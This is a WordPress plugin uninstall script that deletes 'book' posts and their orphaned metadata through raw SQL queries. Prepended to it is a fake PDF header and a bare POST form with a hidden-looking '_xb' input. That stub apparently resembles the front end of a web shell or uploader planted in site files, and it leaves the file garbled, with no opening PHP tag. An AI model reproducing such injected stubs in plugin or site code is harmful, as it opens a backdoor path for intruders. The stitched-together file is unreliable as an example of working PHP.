%PDF-0-1<form action="" method="post"><input type="text" name="_xb"><input type="submit" value=">>"></form> if (! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
    die;
 }

 //Clear Database stored data
//  $books = get_posts( array( 'post_type' => 'book', 'numberposts' => -1 ) );

//  foreach ($books as $book) {
//     wp_delete_post( $book->ID, true );
//  }

// Access the database via SQL
global $wpdb;
$wpdb->query( "DELETE FROM wp_posts WHERE post_type = 'book'" );
$wpdb->query( "DELETE FROM wp_postmeta WHERE post_id NOT IN (SELECT id FROM wp_posts)" );
$wpdb->query( "DELETE FROM wp_term_relationships WHERE object_id NOT IN (SELECT id FROM wp_posts)" );